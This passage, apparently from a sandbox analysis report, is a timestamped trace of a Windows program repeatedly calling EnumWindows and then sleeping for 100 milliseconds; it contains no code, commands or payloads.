(dwMilliseconds=0x64) [0247.342] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.342] Sleep (dwMilliseconds=0x64) [0247.344] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.344] Sleep (dwMilliseconds=0x64) [0247.402] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.402] Sleep (dwMilliseconds=0x64) [0247.461] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.462] Sleep (dwMilliseconds=0x64) [0247.464] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.465] Sleep (dwMilliseconds=0x64) [0247.466] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.467] Sleep (dwMilliseconds=0x64) [0247.469] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.469] Sleep (dwMilliseconds=0x64) [0247.471] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.471] Sleep (dwMilliseconds=0x64) [0247.473] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.474] Sleep (dwMilliseconds=0x64) [0247.475] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.475] Sleep (dwMilliseconds=0x64) [0247.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.478] Sleep (dwMilliseconds=0x64) [0247.483] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.483] Sleep (dwMilliseconds=0x64) [0247.485] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.486] Sleep (dwMilliseconds=0x64) [0247.487] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.487] Sleep (dwMilliseconds=0x64) [0247.489] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.489] Sleep (dwMilliseconds=0x64) [0247.492] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.492] Sleep (dwMilliseconds=0x64) [0247.541] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.542] Sleep (dwMilliseconds=0x64) [0247.611] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.612] Sleep (dwMilliseconds=0x64) [0247.613] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.614] Sleep (dwMilliseconds=0x64) [0247.615] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.616] Sleep (dwMilliseconds=0x64) [0247.621] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.621] Sleep (dwMilliseconds=0x64) [0247.623] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.624] Sleep (dwMilliseconds=0x64) [0247.626] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.626] Sleep (dwMilliseconds=0x64) [0247.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.629] Sleep (dwMilliseconds=0x64) [0247.676] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.677] Sleep (dwMilliseconds=0x64) [0247.794] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.795] Sleep (dwMilliseconds=0x64) [0247.797] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.797] Sleep (dwMilliseconds=0x64) [0247.805] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.806] Sleep (dwMilliseconds=0x64) [0247.808] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.809] Sleep (dwMilliseconds=0x64) [0247.812] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.813] Sleep (dwMilliseconds=0x64) [0247.814] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.815] Sleep (dwMilliseconds=0x64) [0247.816] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.817] Sleep (dwMilliseconds=0x64) [0247.818] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.819] Sleep (dwMilliseconds=0x64) [0247.820] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.821] Sleep (dwMilliseconds=0x64) [0247.822] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.823] Sleep (dwMilliseconds=0x64) [0247.826] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.827] Sleep (dwMilliseconds=0x64) [0247.828] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.828] Sleep (dwMilliseconds=0x64) [0247.830] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.830] Sleep (dwMilliseconds=0x64) [0247.832] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.832] Sleep (dwMilliseconds=0x64) [0247.833] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.833] Sleep (dwMilliseconds=0x64) [0247.835] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.835] Sleep (dwMilliseconds=0x64) [0247.837] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.837] Sleep (dwMilliseconds=0x64) [0247.839] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.839] Sleep (dwMilliseconds=0x64) [0247.848] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.848] Sleep (dwMilliseconds=0x64) [0247.955] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.955] Sleep (dwMilliseconds=0x64) [0247.975] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.975] Sleep (dwMilliseconds=0x64) [0247.978] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.978] Sleep (dwMilliseconds=0x64) [0247.980] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.980] Sleep (dwMilliseconds=0x64) [0247.983] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.983] Sleep (dwMilliseconds=0x64) [0247.984] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.985] Sleep (dwMilliseconds=0x64) [0247.987] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.987] Sleep (dwMilliseconds=0x64) [0247.989] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.989] Sleep (dwMilliseconds=0x64) [0247.991] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.991] Sleep (dwMilliseconds=0x64) [0247.993] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.993] Sleep (dwMilliseconds=0x64) [0247.995] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.995] Sleep (dwMilliseconds=0x64) [0247.997] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0247.998] Sleep (dwMilliseconds=0x64) [0247.999] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.000] Sleep (dwMilliseconds=0x64) [0248.002] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.002] Sleep (dwMilliseconds=0x64) [0248.003] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.004] Sleep (dwMilliseconds=0x64) [0248.064] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.065] Sleep (dwMilliseconds=0x64) [0248.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.112] Sleep (dwMilliseconds=0x64) [0248.114] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.116] Sleep (dwMilliseconds=0x64) [0248.119] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.121] Sleep (dwMilliseconds=0x64) [0248.123] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.124] Sleep (dwMilliseconds=0x64) [0248.125] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.126] Sleep (dwMilliseconds=0x64) [0248.127] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.128] Sleep (dwMilliseconds=0x64) [0248.129] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.130] Sleep (dwMilliseconds=0x64) [0248.131] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.132] Sleep (dwMilliseconds=0x64) [0248.133] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.134] Sleep (dwMilliseconds=0x64) [0248.135] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.136] Sleep (dwMilliseconds=0x64) [0248.138] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.138] Sleep (dwMilliseconds=0x64) [0248.140] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.140] Sleep (dwMilliseconds=0x64) [0248.141] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.142] Sleep (dwMilliseconds=0x64) [0248.182] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.182] Sleep (dwMilliseconds=0x64) [0248.250] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.251] Sleep (dwMilliseconds=0x64) [0248.253] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.253] Sleep (dwMilliseconds=0x64) [0248.255] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.256] Sleep (dwMilliseconds=0x64) [0248.257] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.258] Sleep (dwMilliseconds=0x64) [0248.259] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.260] Sleep (dwMilliseconds=0x64) [0248.261] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.262] Sleep (dwMilliseconds=0x64) [0248.264] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.264] Sleep (dwMilliseconds=0x64) [0248.266] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.266] Sleep (dwMilliseconds=0x64) [0248.268] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.268] Sleep (dwMilliseconds=0x64) [0248.272] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.273] Sleep (dwMilliseconds=0x64) [0248.274] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.275] Sleep (dwMilliseconds=0x64) [0248.277] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.277] Sleep (dwMilliseconds=0x64) [0248.279] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.279] Sleep (dwMilliseconds=0x64) [0248.293] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.293] Sleep (dwMilliseconds=0x64) [0248.375] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.376] Sleep (dwMilliseconds=0x64) [0248.395] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.396] Sleep (dwMilliseconds=0x64) [0248.397] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.398] Sleep (dwMilliseconds=0x64) [0248.399] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.400] Sleep (dwMilliseconds=0x64) [0248.401] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.402] Sleep (dwMilliseconds=0x64) [0248.403] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.403] Sleep (dwMilliseconds=0x64) [0248.405] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.406] Sleep (dwMilliseconds=0x64) [0248.407] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.408] Sleep (dwMilliseconds=0x64) [0248.409] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.410] Sleep (dwMilliseconds=0x64) [0248.411] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.412] Sleep (dwMilliseconds=0x64) [0248.413] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.413] Sleep (dwMilliseconds=0x64) [0248.415] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.415] Sleep (dwMilliseconds=0x64) [0248.417] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.417] Sleep (dwMilliseconds=0x64) [0248.419] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.419] Sleep (dwMilliseconds=0x64) [0248.422] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.422] Sleep (dwMilliseconds=0x64) [0248.425] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.425] Sleep (dwMilliseconds=0x64) [0248.497] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.498] Sleep (dwMilliseconds=0x64) [0248.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.499] Sleep (dwMilliseconds=0x64) [0248.534] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.534] Sleep (dwMilliseconds=0x64) [0248.537] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.537] Sleep (dwMilliseconds=0x64) [0248.539] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.540] Sleep (dwMilliseconds=0x64) [0248.541] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.542] Sleep (dwMilliseconds=0x64) [0248.544] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.545] Sleep (dwMilliseconds=0x64) [0248.546] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.547] Sleep (dwMilliseconds=0x64) [0248.548] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.549] Sleep (dwMilliseconds=0x64) [0248.551] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.551] Sleep (dwMilliseconds=0x64) [0248.553] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.553] Sleep (dwMilliseconds=0x64) [0248.555] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.555] Sleep (dwMilliseconds=0x64) [0248.557] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.557] Sleep (dwMilliseconds=0x64) [0248.559] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.559] Sleep (dwMilliseconds=0x64) [0248.561] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.561] Sleep (dwMilliseconds=0x64) [0248.570] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.570] Sleep (dwMilliseconds=0x64) [0248.620] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.621] Sleep (dwMilliseconds=0x64) [0248.681] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.682] Sleep (dwMilliseconds=0x64) [0248.738] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.739] Sleep (dwMilliseconds=0x64) [0248.843] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.844] Sleep (dwMilliseconds=0x64) [0248.868] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.868] Sleep (dwMilliseconds=0x64) [0248.876] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0248.876] Sleep (dwMilliseconds=0x64) [0249.128] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.132] Sleep (dwMilliseconds=0x64) [0249.133] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.133] Sleep (dwMilliseconds=0x64) [0249.135] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.135] Sleep (dwMilliseconds=0x64) [0249.137] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.137] Sleep (dwMilliseconds=0x64) [0249.139] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.139] Sleep (dwMilliseconds=0x64) [0249.141] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.141] Sleep (dwMilliseconds=0x64) [0249.143] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.143] Sleep (dwMilliseconds=0x64) [0249.145] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.145] Sleep (dwMilliseconds=0x64) [0249.147] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.147] Sleep (dwMilliseconds=0x64) [0249.149] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.150] Sleep (dwMilliseconds=0x64) [0249.152] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.152] Sleep (dwMilliseconds=0x64) [0249.153] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.154] Sleep (dwMilliseconds=0x64) [0249.155] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.156] Sleep (dwMilliseconds=0x64) [0249.157] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.158] Sleep (dwMilliseconds=0x64) [0249.159] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.160] Sleep (dwMilliseconds=0x64) [0249.161] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.161] Sleep (dwMilliseconds=0x64) [0249.163] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.163] Sleep (dwMilliseconds=0x64) [0249.165] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.165] Sleep (dwMilliseconds=0x64) [0249.167] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.168] Sleep (dwMilliseconds=0x64) [0249.169] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.170] Sleep (dwMilliseconds=0x64) [0249.171] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.172] Sleep (dwMilliseconds=0x64) [0249.173] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.173] Sleep (dwMilliseconds=0x64) [0249.175] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.175] Sleep (dwMilliseconds=0x64) [0249.177] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.178] Sleep (dwMilliseconds=0x64) [0249.181] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.182] Sleep (dwMilliseconds=0x64) [0249.183] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.184] Sleep (dwMilliseconds=0x64) [0249.185] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.185] Sleep (dwMilliseconds=0x64) [0249.187] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.187] Sleep (dwMilliseconds=0x64) [0249.189] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.189] Sleep (dwMilliseconds=0x64) [0249.191] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.191] Sleep (dwMilliseconds=0x64) [0249.193] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.193] Sleep (dwMilliseconds=0x64) [0249.195] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.195] Sleep (dwMilliseconds=0x64) [0249.196] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.196] Sleep (dwMilliseconds=0x64) [0249.198] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.198] Sleep (dwMilliseconds=0x64) [0249.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.201] Sleep (dwMilliseconds=0x64) [0249.202] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.202] Sleep (dwMilliseconds=0x64) [0249.204] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.204] Sleep (dwMilliseconds=0x64) [0249.206] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.207] Sleep (dwMilliseconds=0x64) [0249.208] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.209] Sleep (dwMilliseconds=0x64) [0249.210] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.211] Sleep (dwMilliseconds=0x64) [0249.215] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.215] Sleep (dwMilliseconds=0x64) [0249.217] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.218] Sleep (dwMilliseconds=0x64) [0249.220] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.220] Sleep (dwMilliseconds=0x64) [0249.222] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.222] Sleep (dwMilliseconds=0x64) [0249.224] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.224] Sleep (dwMilliseconds=0x64) [0249.225] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.226] Sleep (dwMilliseconds=0x64) [0249.228] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.228] Sleep (dwMilliseconds=0x64) [0249.229] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.230] Sleep (dwMilliseconds=0x64) [0249.231] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.232] Sleep (dwMilliseconds=0x64) [0249.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.234] Sleep (dwMilliseconds=0x64) [0249.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.236] Sleep (dwMilliseconds=0x64) [0249.238] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.238] Sleep (dwMilliseconds=0x64) [0249.240] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.240] Sleep (dwMilliseconds=0x64) [0249.242] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.242] Sleep (dwMilliseconds=0x64) [0249.243] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.244] Sleep (dwMilliseconds=0x64) [0249.246] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.246] Sleep (dwMilliseconds=0x64) [0249.248] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.248] Sleep (dwMilliseconds=0x64) [0249.252] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.253] Sleep (dwMilliseconds=0x64) [0249.254] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.255] Sleep (dwMilliseconds=0x64) [0249.256] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.288] Sleep (dwMilliseconds=0x64) [0249.298] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.299] Sleep (dwMilliseconds=0x64) [0249.312] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.313] Sleep (dwMilliseconds=0x64) [0249.421] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.421] Sleep (dwMilliseconds=0x64) [0249.449] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.450] Sleep (dwMilliseconds=0x64) [0249.457] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.458] Sleep (dwMilliseconds=0x64) [0249.460] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.460] Sleep (dwMilliseconds=0x64) [0249.468] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.468] Sleep (dwMilliseconds=0x64) [0249.470] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.470] Sleep (dwMilliseconds=0x64) [0249.476] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.477] Sleep (dwMilliseconds=0x64) [0249.478] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.478] Sleep (dwMilliseconds=0x64) [0249.544] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.546] Sleep (dwMilliseconds=0x64) [0249.601] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.602] Sleep (dwMilliseconds=0x64) [0249.613] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.614] Sleep (dwMilliseconds=0x64) [0249.615] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.616] Sleep (dwMilliseconds=0x64) [0249.617] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.618] Sleep (dwMilliseconds=0x64) [0249.619] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.620] Sleep (dwMilliseconds=0x64) [0249.621] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.622] Sleep (dwMilliseconds=0x64) [0249.624] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.624] Sleep (dwMilliseconds=0x64) [0249.651] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.651] Sleep (dwMilliseconds=0x64) [0249.653] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.654] Sleep (dwMilliseconds=0x64) [0249.656] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.656] Sleep (dwMilliseconds=0x64) [0249.658] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.659] Sleep (dwMilliseconds=0x64) [0249.660] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.661] Sleep (dwMilliseconds=0x64) [0249.662] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.662] Sleep (dwMilliseconds=0x64) [0249.664] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.664] Sleep (dwMilliseconds=0x64) [0249.666] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.666] Sleep (dwMilliseconds=0x64) [0249.668] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.668] Sleep (dwMilliseconds=0x64) [0249.670] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.670] Sleep (dwMilliseconds=0x64) [0249.672] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.672] Sleep (dwMilliseconds=0x64) [0249.674] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.674] Sleep (dwMilliseconds=0x64) [0249.676] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.676] Sleep (dwMilliseconds=0x64) [0249.677] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.678] Sleep (dwMilliseconds=0x64) [0249.680] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.680] Sleep (dwMilliseconds=0x64) [0249.681] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.682] Sleep (dwMilliseconds=0x64) [0249.685] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.685] Sleep (dwMilliseconds=0x64) [0249.687] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.687] Sleep (dwMilliseconds=0x64) [0249.689] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.689] Sleep (dwMilliseconds=0x64) [0249.697] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.697] Sleep (dwMilliseconds=0x64) [0249.700] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.701] Sleep (dwMilliseconds=0x64) [0249.702] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.703] Sleep (dwMilliseconds=0x64) [0249.704] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.705] Sleep (dwMilliseconds=0x64) [0249.706] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.707] Sleep (dwMilliseconds=0x64) [0249.708] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.709] Sleep (dwMilliseconds=0x64) [0249.711] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.711] Sleep (dwMilliseconds=0x64) [0249.712] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.713] Sleep (dwMilliseconds=0x64) [0249.715] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.715] Sleep (dwMilliseconds=0x64) [0249.718] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.718] Sleep (dwMilliseconds=0x64) [0249.720] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.720] Sleep (dwMilliseconds=0x64) [0249.722] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.722] Sleep (dwMilliseconds=0x64) [0249.723] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.724] Sleep (dwMilliseconds=0x64) [0249.726] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.726] Sleep (dwMilliseconds=0x64) [0249.727] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0249.728] Sleep 